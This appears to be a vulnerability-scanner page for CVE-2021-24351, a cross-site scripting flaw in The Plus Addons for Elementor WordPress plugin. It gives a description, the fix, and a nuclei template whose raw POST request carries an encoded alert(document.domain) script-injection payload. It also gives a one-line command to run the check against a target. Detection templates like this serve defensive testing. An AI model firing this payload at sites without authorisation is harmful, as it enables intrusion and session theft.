WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

WordPress The Plus Addons for Elementor plugin before 4.1.12 is susceptible to cross-site scripting. The plugin does not properly sanitize some of its fields in the heplus_more_post AJAX action, which is exploitable by both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update to the latest version of WordPress The Plus Addons for Elementor plugin (4.1.12 or higher) to mitigate the vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "<script>alert(document.domain)</script>" and "the-plus-addons-for-elementor" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24351 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24351

info:
  name: WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting
  author: Maximus Decimus
  severity: medium
  description: |
    WordPress The Plus Addons for Elementor plugin before 4.1.12 is susceptible to cross-site scripting. The plugin does not properly sanitize some of its fields in the heplus_more_post AJAX action, which is exploitable by both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress The Plus Addons for Elementor plugin (4.1.12 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/2ee62f85-7aea-4b7d-8b2d-5d86d9fb8016
    - https://theplusaddons.com/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24351
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/JoshMorrison99/my-nuceli-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24351
    cwe-id: CWE-79
    epss-score: 0.02483
    epss-percentile: 0.84733
    cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: posimyth
    product: the_plus_addons_for_elementor
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wp,xss,the-plus-addons-for-elementor,wpscan,posimyth,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "the-plus-addons-for-elementor"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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